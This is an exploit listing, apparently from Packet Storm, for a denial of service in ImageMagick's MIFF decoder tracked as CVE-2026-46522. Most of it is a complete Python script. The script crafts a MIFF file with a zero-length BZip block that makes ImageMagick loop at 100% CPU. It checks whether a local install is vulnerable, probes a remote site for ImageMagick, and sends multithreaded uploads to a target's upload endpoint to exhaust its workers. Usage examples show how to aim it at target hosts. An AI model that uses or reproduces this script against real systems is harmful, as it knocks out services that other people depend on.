Share
## https://sploitus.com/exploit?id=PACKETSTORM:225062
==================================================================================================================================
| # Title : ImageMagick 7.x MIFF Decoder CPU Exhaustion via BZip Compression Zero-Length Block |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://imagemagick.org |
==================================================================================================================================
[+] Summary : The program generates a malicious MIFF image file designed to exploit a flaw in ImageMagickβs BZip decompression handling.
The issue is triggered by a zero-length compressed block, which can cause ImageMagick to enter an infinite loop and consume 100% CPU.
[+] POC :
#!/usr/bin/env python3
import argparse
import sys
import os
import time
import threading
import requests
import urllib3
from urllib.parse import urljoin
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class ImageMagickDoS:
def __init__(self, target_url=None, output_path="/tmp/poc.miff", timeout=5, verbose=False):
self.target_url = target_url.rstrip('/') if target_url else None
self.output_path = output_path
self.timeout = timeout
self.verbose = verbose
def log(self, msg, level="INFO"):
colors = {
"SUCCESS": "\033[92m[+]\033[0m",
"ERROR": "\033[91m[-]\033[0m",
"WARNING": "\033[93m[!]\033[0m",
"INFO": "\033[96m[*]\033[0m",
"PROC": "\033[94m[@]\033[0m"
}
print(f"{colors.get(level, '[*]')} {msg}")
def craft_miff(self):
"""Generate malicious MIFF file with BZip compression and zero-length block"""
header = (
"id=ImageMagick version=1.0\n"
"class=DirectClass colors=0 alpha-trait=Undefined\n"
"number-channels=3 number-meta-channels=0 channel-mask=0x0000000000000007\n"
"columns=1 rows=1 depth=8\n"
"colorspace=sRGB compression=BZip quality=75\n"
)
body = b"\x0c\n" + b"\x00\x00\x00\x00"
miff_data = header.encode() + body
return miff_data
def generate_file(self):
"""Save malicious MIFF file to disk"""
miff_data = self.craft_miff()
with open(self.output_path, 'wb') as f:
f.write(miff_data)
file_size = os.path.getsize(self.output_path)
self.log(f"Generated malicious MIFF: {self.output_path} ({file_size} bytes)", "SUCCESS")
return miff_data
def test_local_imagemagick(self):
"""Test if local ImageMagick is vulnerable"""
self.log("Testing local ImageMagick vulnerability...", "PROC")
import subprocess
try:
subprocess.run(['which', 'identify'], capture_output=True, check=True)
except subprocess.CalledProcessError:
self.log("ImageMagick 'identify' command not found", "ERROR")
return False
cmd = f"timeout {self.timeout} identify {self.output_path}"
self.log(f"Executing: {cmd}", "PROC")
start_time = time.time()
try:
result = subprocess.run(cmd, shell=True, timeout=self.timeout + 1,
capture_output=True, text=True)
elapsed = time.time() - start_time
if elapsed >= self.timeout - 0.5:
self.log(f"Process killed after {elapsed:.2f}s (infinite loop detected)", "SUCCESS")
self.log("VULNERABLE - CPU would be exhausted!", "SUCCESS")
return True
else:
self.log(f"Process completed in {elapsed:.2f}s (not vulnerable)", "ERROR")
return False
except subprocess.TimeoutExpired:
elapsed = time.time() - start_time
self.log(f"Process timed out after {elapsed:.2f}s (infinite loop detected)", "SUCCESS")
self.log("VULNERABLE - CPU would be exhausted!", "SUCCESS")
return True
except Exception as e:
self.log(f"Error: {e}", "ERROR")
return False
def upload_file(self, miff_data, filename, upload_endpoint, file_field='file'):
"""Upload malicious MIFF to vulnerable endpoint"""
url = urljoin(self.target_url, upload_endpoint)
files = {
file_field: (filename, miff_data, 'image/x-miff')
}
self.log(f"Uploading to {url}...", "PROC")
try:
response = requests.post(url, files=files, timeout=self.timeout, verify=False)
if response.status_code == 200 or response.status_code == 302:
self.log(f"Upload successful: HTTP {response.status_code}", "SUCCESS")
return True
else:
self.log(f"Upload failed: HTTP {response.status_code}", "ERROR")
if self.verbose:
self.log(f"Response: {response.text[:200]}")
return False
except requests.exceptions.Timeout:
self.log("Request timed out - service may be stuck processing the file", "SUCCESS")
return True
except Exception as e:
self.log(f"Upload error: {e}", "ERROR")
return False
def multiple_uploads(self, miff_data, count=10, upload_endpoint='/upload',
file_field='file', delay=0.5):
"""Send multiple uploads to exhaust worker processes"""
self.log(f"Sending {count} uploads to exhaust workers...", "PROC")
successful = 0
threads = []
def upload_worker(upload_id):
filename = f"poc_{upload_id}_{int(time.time())}.miff"
if self.upload_file(miff_data, filename, upload_endpoint, file_field):
nonlocal successful
successful += 1
for i in range(count):
t = threading.Thread(target=upload_worker, args=(i,))
t.start()
threads.append(t)
time.sleep(delay)
for t in threads:
t.join()
self.log(f"Successfully uploaded {successful}/{count} files", "SUCCESS")
return successful
def detect_imagemagick_service(self, test_path='/'):
"""Check if remote service might be using ImageMagick"""
if not self.target_url:
return False
url = urljoin(self.target_url, test_path)
self.log(f"Checking {url} for ImageMagick indicators...", "PROC")
try:
response = requests.get(url, timeout=10, verify=False)
indicators = [
'ImageMagick', 'magick', 'convert', 'identify',
'image/jpeg', 'image/png', 'image/gif'
]
for indicator in indicators:
if indicator.lower() in response.text.lower():
self.log(f"Found ImageMagick indicator: {indicator}", "SUCCESS")
return True
content_type = response.headers.get('Content-Type', '')
if 'image' in content_type:
self.log(f"Content-Type indicates image processing: {content_type}", "INFO")
return True
self.log("No ImageMagick indicators found", "WARNING")
return False
except Exception as e:
self.log(f"Detection error: {e}", "ERROR")
return False
def run_dos_attack(self, upload_endpoint='/upload', file_field='file',
multiple=False, upload_count=10, delay=0.5):
"""Execute DoS attack against remote service"""
if not self.target_url:
self.log("No target URL configured", "ERROR")
return False
self.log(f"Target: {self.target_url}", "INFO")
self.detect_imagemagick_service()
miff_data = self.craft_miff()
self.log(f"Malicious MIFF size: {len(miff_data)} bytes", "INFO")
if multiple:
successful = self.multiple_uploads(miff_data, upload_count,
upload_endpoint, file_field, delay)
if successful > 0:
self.log(f"DoS attack successful with {successful} file(s)!", "SUCCESS")
return True
else:
filename = f"poc_{int(time.time())}.miff"
if self.upload_file(miff_data, filename, upload_endpoint, file_field):
self.log("DoS attack successful! Target worker is stuck.", "SUCCESS")
return True
self.log("DoS attack failed", "ERROR")
return False
def run(self, upload_endpoint=None, file_field='file', multiple=False,
upload_count=10, delay=0.5, test_only=False):
"""Main exploit routine"""
self.log("CVE-2026-46522 - ImageMagick MIFF Decoder DoS Exploit", "INFO")
miff_data = self.generate_file()
is_vulnerable = self.test_local_imagemagick()
if test_only:
return is_vulnerable
if upload_endpoint and self.target_url:
return self.run_dos_attack(upload_endpoint, file_field, multiple,
upload_count, delay)
return is_vulnerable
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-46522 - ImageMagick MIFF Decoder Infinite Loop DoS",
epilog="""
Examples:
python3 exploit.py -o /tmp/poc.miff
python3 exploit.py -o /tmp/poc.miff --test-local
python3 exploit.py -t http://target.com -u /upload -f file
python3 exploit.py -t http://target.com -u /upload -f file --multiple --count 20
python3 exploit.py -t http://target.com -u /upload --timeout 10 --verbose
"""
)
parser.add_argument("-t", "--target", help="Target URL (e.g., http://example.com)")
parser.add_argument("-u", "--upload-endpoint", default="/upload",
help="Upload endpoint path (default: /upload)")
parser.add_argument("-f", "--file-field", default="file",
help="Multipart file field name (default: file)")
parser.add_argument("-o", "--output", default="/tmp/poc.miff",
help="Output path for malicious MIFF file (default: /tmp/poc.miff)")
parser.add_argument("--multiple", action="store_true",
help="Send multiple uploads to exhaust workers")
parser.add_argument("--count", type=int, default=10,
help="Number of uploads when using --multiple (default: 10)")
parser.add_argument("--delay", type=float, default=0.5,
help="Delay between uploads in seconds (default: 0.5)")
parser.add_argument("--timeout", type=int, default=5,
help="Timeout for processing in seconds (default: 5)")
parser.add_argument("--test-local", action="store_true",
help="Test local ImageMagick vulnerability only")
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
args = parser.parse_args()
print("""
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β CVE-2026-46522 - ImageMagick MIFF Decoder Infinite Loop DoS β
β CPU Exhaustion via BZip Compression Zero-Length Block β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
""")
exploit = ImageMagickDoS(
target_url=args.target,
output_path=args.output,
timeout=args.timeout,
verbose=args.verbose
)
if args.test_local:
success = exploit.run(test_only=True)
sys.exit(0 if success else 1)
elif args.target:
success = exploit.run(
upload_endpoint=args.upload_endpoint,
file_field=args.file_field,
multiple=args.multiple,
upload_count=args.count,
delay=args.delay
)
sys.exit(0 if success else 1)
else:
exploit.generate_file()
print("\n[+] File generation complete")
print(f"[+] Test with: identify {args.output}")
print(f"[+] Expected: Process will hang and consume 100% CPU")
sys.exit(0)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================